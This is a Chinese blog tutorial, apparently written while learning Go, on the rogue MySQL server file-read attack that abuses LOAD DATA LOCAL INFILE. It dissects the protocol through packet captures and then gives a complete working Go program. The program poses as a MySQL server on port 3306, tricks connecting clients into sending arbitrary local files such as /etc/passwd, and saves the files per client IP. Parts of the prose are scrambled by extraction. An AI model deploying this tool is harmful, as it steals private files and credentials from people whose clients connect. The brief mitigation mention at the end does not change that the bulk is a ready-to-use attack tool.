这并不是一个新鲜的漏洞,我也是为了学习Golang才又拿出来炒一遍冷饭。
先大概说一下原理,MySQL客户端和服务端通信过程中是通过对话的形式来实现的,客户端发送一个操作请求,然后服务端根据客服端发送的请求来响应客户端,在这个过程中客户端如果一个操作需要两步才能完成那么当它发送完第一个请求过后并不会存储这个请求,而是直接就丢掉了,所以第二步就是根据服务端的响应来继续进行,这里服务端就可以欺骗客户端做一些事情。
但是一般的通信都是客服端发送一个MySQL语句然后服务端根据这条语句查询后返回结果,也没什么可以利用的,不过MySQL有个语法LOAD DATA INFILE
是用来读取一个文件内容并插入到表中,既可以读取服务器文件也可以读取客服端文件,读取客服端文件的语法是load data local infile "/data/test.csv" into table TestTable;
为了形象一点,这个语法的使用过程我用哦两个人的对话来表示:
1.客户端:把我我本地/data/test.csv的内容插入到TestTable表中去
2.服务端:请把你本地/data/test.csv的内容发送给我
3.客户端:好的,这是我本地/data/test.csv的内容:....
4.服务端:成功/失败
正常情况下这个流程是没毛病,但是前面我说了客户端在第二次并不知道它自己前面发送了什么给服务器,所以客户端第二次要发送什么文件完全取决于服务端,如果这个服务端不正常,就有可能发生如下对话:
1.客户端:把我我本地/data/test.csv的内容插入到TestTable表中去
2.服务端:请把你本地/etc/passwd的内容发送给我
3.客户端:好的,这是我本地/etc/passwd的内容:....
4.服务端:....随意了
这样服务端就非法拿到了/etc/passwd
的文件内容,今天我要实现的就是做一个伪服务端来欺骗善良的客户端。
从上面可以看出,只要我们实现一个假的MySQL服务端就能做上面的事情,要实现一个伪MySQL服务端也不是很困难,因为我们并不需要实现什么功能,只需要保证能让客户端通过权限认证就行了,我们借助Wireshark抓包结合MySQL官方文档就能比较容易做到,首先使用Wireshark抓包查看MySQL登录流程:
ipconfig
查看本地IP和网关:route add 192.168.0.130 mask 255.255.255.255 192.168.0.1
route add 192.168.0.130 mask 255.255.255.255 192.168.0.1
192.168.0.130
mysql
协议数据准备抓包:192.168.0.130
,可能不太好分辨出是客户端还是服务端发出的,但是跟局后面的流程可以看出第一个是从服务端发出的,以此类推就行了。0000 4a 00 00 00 0a 35 2e 35 2e 35 33 00 21 00 00 00 J....5.5.53.!...
0010 3b 46 30 59 52 6c 4a 6e 00 ff f7 21 02 00 0f 80 ;F0YRlJn.ÿ÷!....
0020 15 00 00 00 00 00 00 00 00 00 00 6a 49 6e 6e 5d ...........jInn]
0030 66 69 5f 7c 74 52 7d 00 6d 79 73 71 6c 5f 6e 61 fi_|tR}.mysql_na
0040 74 69 76 65 5f 70 61 73 73 77 6f 72 64 00 tive_password.
当客户端连接上服务器,服务器就会发送这第一个握手数据包,这些数据的内容取决于服务器版本和服务器配置,具体含义就需要参见:MySQL官方文档Mysq3.21.0
开始默认就是v10版本,那么第一个字节应该是0a
,但是你会发现上面第一个字节并不是0a
而是4a
,这是为什么呢?74
转换为十六进制就是4a
,不过需要注意的是我们看到的数据是按照小端排列的4a 00 00
,实际的顺序应该是00 00 4a
,这点在读取数据长度的时候要注意一下;第四个字节是这个包的序列ID,每次无论客户端还是服务端发送数据这个序列ID都会递增,直到下一个新命令开始又会置00
,所以这里是00
;后面的数据就是服务器的banner信息,具体格式可以参考文档,非常详细。LOAD DATA LOCAL
,具体是看第五字节的第一个位,如果是1
则表示支持,如果是0
则表示不支持,这点从Wireshark上面的描述也能清晰的看到,如图:4
个字节依旧是包长度和序列号,这里是权限认证的第三部,所以序列号为2
,然后再看包内容,这里认证成功响应OK所以第一个字节的内容是00
;第二个字节是此次操作影响的数据行数,这里为00
;第三个字节是上次插入数据的id,还是00
;第四位是服务器状态标志,里面包含了服务器的一些状态,根据服务器设置而不同;第五位是警告数,这里为00
;后面三个字节都是额外信息,这里全部为00
。COM_QUERY
,除了包长度和序列号剩下的包主体就由两部分构成,一是文本协议类型(Text Protocol
),这里是一个查询所以就是COM_QUERY
,对应的字节应该填03
,剩下的就是SQL语句的文本内容了。详情参见:官方文档COM_SLEEP
)、退出(COM_QUIT
)、初始化/切换表(COM_INIT_DB
)等等。load data local infile "/data/test.csv" into table test;
的流程:COM_QUERY
,只是执行的SQL语句不一样,详情见下图:fb
开始分析,参考官方文档如图所示:28 00 00
是整个数据包的长度,01
表示这是这个流程的第二个数据包,也就是上图中的0xfb+filename
的长度,后面从43
到74
是文件名,然后就没啦。我们主要伪造的就是这一步,正常流程这个文件名是在前一步客户端发过来的,而我们可以自己随意指定,反正客户端“记性差”,也不记得前面发给服务端的文件名是啥。123456789
的长度09 00 00
;序列号应该是02
;后面就是文本的内容。所以整个数据包没错的话应该就是:09 00 00 02 31 32 33 34 35 36 37 38 39
,咱们来对照一下抓包的数据看看是不是一样的:If the client has data to send, it sends in one or more non-empty packets AS IS followed by a empty packet.
也就是说只要客户端发来了文件内容,那么在其后面就会跟上一个空的数据包,既然是空数据包那也就是数据长度为0
的数据包了,所以前三个字节是00 00 00
;第四字节的序列号还是在上面的02
基础上加1
即03
;这样第三个数据包就分析完了。我也是刚开始学习golang,还不太熟悉这门语言,如果发现有错误的地方请多多指教,代码里面注释非常详细,我就直接贴代码了:
package main
import (
"bufio"
"bytes"
"encoding/binary"
"flag"
"log"
"net"
"os"
"strconv"
"syscall"
)
//读取文件时每次读取的字节数
const bufLength = 1024
//服务器第一个数据包的数据,可以根据格式自定义,这里要注意SSL字段要置0
var GreetingData = []byte{
0x4a, 0x00, 0x00, 0x00, 0x0a, 0x35, 0x2e, 0x35, 0x2e, 0x35, 0x33,
0x00, 0x01, 0x00, 0x00, 0x00, 0x75, 0x51, 0x73, 0x6f, 0x54, 0x36,
0x50, 0x70, 0x00, 0xff, 0xf7, 0x21, 0x02, 0x00, 0x0f, 0x80, 0x15,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64,
0x26, 0x2b, 0x47, 0x62, 0x39, 0x35, 0x3c, 0x6c, 0x30, 0x45, 0x4a,
0x00, 0x6d, 0x79, 0x73, 0x71, 0x6c, 0x5f, 0x6e, 0x61, 0x74, 0x69,
0x76, 0x65, 0x5f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64,
0x00,
}
//服务器第二个数据包认证成功的OK响应
var OkData = []byte{0x07, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00}
//配置文件,用于保存要读取的文件列表,默认当前目录下的mysql.ini,可自定义
var configFile = ""
//保存要读取的文件列表
var fileNames []string
//记录每个客户端连接的次数
var recordClient = make(map[string]int)
func main() {
conf := flag.String("conf", "mysql.ini", "准备读取的客户端文件全路径,一行一个")
flag.Parse()
configFile = *conf
fileNames = readConfig()
listener := initMysqlServer("0.0.0.0:3306")
for {
conn, err := listener.Accept()
handleError(err, "Accept: ")
ip := getIp(conn)
//由于文件最后保存的文件名包含ip地址,为了本地测试加了这个
if ip == "::1" {
ip = "localhost"
}
//这里记录每个客户端连接的次数,实现获取多个文件
_, ok := recordClient[ip]
if ok {
if recordClient[ip] < len(fileNames)-1 {
recordClient[ip] += 1
}
} else {
recordClient[ip] = 0
}
go connectionClientHandler(conn)
}
}
//初始化服务器
func initMysqlServer(hostAndPort string) net.Listener {
serverAddr, err := net.ResolveTCPAddr("tcp", hostAndPort)
handleError(err, "Resolving address:port failed: '"+hostAndPort+"'")
listener, err := net.ListenTCP("tcp", serverAddr)
handleError(err, "ListenTCP: ")
log.Println("Listening to: ", listener.Addr().String())
return listener
}
func connectionClientHandler(conn net.Conn) {
defer conn.Close()
connFrom := conn.RemoteAddr().String()
log.Println("Connection from: ", connFrom)
var ibuf = make([]byte, bufLength)
//第一个包
_, err := conn.Write(GreetingData)
handleError(err, "Send one")
//第二个包
_, err = conn.Read(ibuf[0 : bufLength-1])
handleError(err, "Read two")
//判断是否有Can Use LOAD DATA LOCAL标志,如果有才支持读取文件
if (uint8(ibuf[4]) & uint8(128)) == 0 {
_ = conn.Close()
log.Println("The client not support LOAD DATA LOCAL")
return
}
//第三个包
_, err = conn.Write(OkData)
handleError(err, "Send three")
//第四个包
_, err = conn.Read(ibuf[0 : bufLength-1])
handleError(err, "Read four")
//这里根据客户端连接的次数来选择读取文件列表里面的第几个文件
ip := getIp(conn)
getFileData := []byte{byte(len(fileNames[recordClient[ip]]) + 1), 0x00, 0x00, 0x01, 0xfb}
getFileData = append(getFileData, fileNames[recordClient[ip]]...)
//第五个包
_, err = conn.Write(getFileData)
handleError(err, "Send five")
getRequestContent(conn)
}
//获取客户端传来的文件数据
func getRequestContent(conn net.Conn) {
var content bytes.Buffer
//先读取数据包长度,前面3字节
lengthBuf := make([]byte, 3)
_, err := conn.Read(lengthBuf)
handleError(err, "Read data length")
totalDataLength := int(binary.LittleEndian.Uint32(append(lengthBuf, 0)))
if totalDataLength == 0 {
log.Println("Get no file and closed connection.")
return
}
//然后丢掉1字节的序列号
_, _ = conn.Read(make([]byte, 1))
ibuf := make([]byte, bufLength)
totalReadLength := 0
//循环读取知道读取的长度达到包长度
for {
length, err := conn.Read(ibuf)
switch err {
case nil:
log.Println("Get file and reading...")
//如果本次读取的内容长度+之前读取的内容长度大于文件内容总长度,则本次读取的文件内容只能留下一部分
if length+totalReadLength > totalDataLength {
length = totalDataLength - totalReadLength
}
content.Write(ibuf[0:length])
totalReadLength += length
if totalReadLength == totalDataLength {
//读取完成保存到本地文件
saveContent(conn, content)
//随便写点数据给客户端
_, _ = conn.Write(OkData)
}
case syscall.EAGAIN: // try again
continue
default:
log.Println("Closed connection: ", conn.RemoteAddr().String())
return
}
}
}
//保存文件
func saveContent(conn net.Conn, content bytes.Buffer) {
ip := getIp(conn)
saveName := ip + "-" + strconv.Itoa(recordClient[ip]) + ".txt"
outputFile, outputError := os.OpenFile(saveName, os.O_WRONLY|os.O_CREATE, 0666)
handleError(outputError, "Save content")
defer outputFile.Close()
outputWriter := bufio.NewWriter(outputFile)
_, writeErr := outputWriter.WriteString(content.String())
handleError(writeErr, "Write file")
_ = outputWriter.Flush()
return
}
//获取当前ip
func getIp(conn net.Conn) string {
ip, _, _ := net.SplitHostPort(conn.RemoteAddr().String())
return ip
}
//处理错误
func handleError(error error, info string) {
if error != nil {
log.Printf(info + " error:" + error.Error() + "\n")
}
}
//读取文件列表
func readConfig() []string {
var line []string
fileHandle, error := os.OpenFile(configFile, os.O_RDONLY, 0)
handleError(error, "Open config file")
defer fileHandle.Close()
sc := bufio.NewScanner(fileHandle)
/*default split the file use '\n'*/
for sc.Scan() {
line = append(line, sc.Text())
}
handleError(sc.Err(), "Read config file")
return line
}
LOCAL-INFILE
支持。SSL
连接